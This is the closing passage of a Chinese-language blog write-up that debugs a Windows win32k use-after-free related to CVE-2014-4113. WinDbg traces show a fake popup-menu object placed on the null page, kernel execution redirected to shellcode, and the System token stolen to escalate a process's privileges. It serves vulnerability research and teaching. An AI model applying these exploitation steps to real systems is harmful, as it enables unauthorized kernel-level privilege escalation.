kd> p
win32k!xxxMNHideNextHierarchy+0x32:
0008:919ea131 3b461c          cmp     eax,dword ptr [esi+1Ch]
kd> p
win32k!xxxMNHideNextHierarchy+0x35:
0008:919ea134 740f            je      win32k!xxxMNHideNextHierarchy+0x46 (919ea145)
kd> r eax//tagPopupMenu由于释放并占位,变成了0x5
eax=00000005
kd> p
win32k!xxxMNHideNextHierarchy+0x37:
0008:919ea136 6a00            push    0
kd> p
win32k!xxxMNHideNextHierarchy+0x39:
0008:919ea138 6a00            push    0
kd> p
win32k!xxxMNHideNextHierarchy+0x3b:
0008:919ea13a 68e4010000      push    1E4h
kd> p
win32k!xxxMNHideNextHierarchy+0x40:
0008:919ea13f 50              push    eax
kd> p
win32k!xxxMNHideNextHierarchy+0x41:
0008:919ea140 e837a5f9ff      call    win32k!xxxSendMessage (9198467c)

这样,我们就需要在0x5,也就是零页的对应的位置构造fake popupmenu绕过内层函数的各处判断。接下来向内层继续传递,和CVE-2014-4113的利用过程就基本一致了。

kd> p
win32k!xxxSendMessage+0x23:
905e95c0 e882fdffff      call    win32k!xxxSendMessageTimeout (905e9347)
kd> dd esp
92dd3a14  00000005 000001e4 00000000 00000000

最后,执行到shellcode

kd> p
win32k!xxxSendMessageTimeout+0x1a9:
905e94f0 ff5660          call    dword ptr [esi+60h]
kd> r esi
esi=00000005
kd> dd esi+60
00000065  00371410 00000000 00000000 00000000
kd> p
Breakpoint 6 hit
00371410 55              push    ebp

下一个写入断点

kd> !process 0 0
**** NT ACTIVE PROCESS DUMP ****
PROCESS 841bdab0  SessionId: none  Cid: 0004    Peb: 00000000  ParentCid: 0000
    DirBase: 00185000  ObjectTable: 87c01be8  HandleCount: 490.
    Image: System
PROCESS 845da8a8  SessionId: 1  Cid: 0ddc    Peb: 7ffdf000  ParentCid: 0cf8
    DirBase: 3f321500  ObjectTable: 95b440f0  HandleCount:  28.
    Image: EoP_1.exe
kd> dd 845da8a8+f8
845da9a0  86094613 000078da 00000000 00000000原进程token

shellcode进行替换

kd> dd 845da8a8+f8 //提权Token
845da9a0  87c01337 000078da 00000000 00000000
kd> dd 841bdab0+f8 //系统Token
841bdba8  87c01337 00000000 00000000 00000000

现在是system的token了,这里我在调试的时候发现,程序完成提权后,无法正确关闭窗口,这样我在WndProc中加入了一个PostMessage,传递的消息是WM_CLOSE用来关闭窗口,最后完成提权,放一个提权后的截图

http://p2.qhimg.com/t01f6e539289355e32c.png

这个漏洞总体来说可以算是CVE-2014-4113的进阶,和内核较劲的过程非常有意思,一步步的思考和绕过,让我想起以前膜拜大牛们过狗的案例中一步步bypass的过程,实际上二进制也是一样。

那么这篇文章也写到这里,希望大牛们多多批评指正,也希望大家也都能有所收获,谢谢!


传送门


【技术分享】经典内核漏洞调试笔记

本文由k0shl原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/84911

安全客 - 有思想的安全新媒体

分享到:微信
+10赞
收藏
k0shl
分享到:微信

发表评论

内容需知
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全客 All Rights Reserved 京ICP备08010314号-66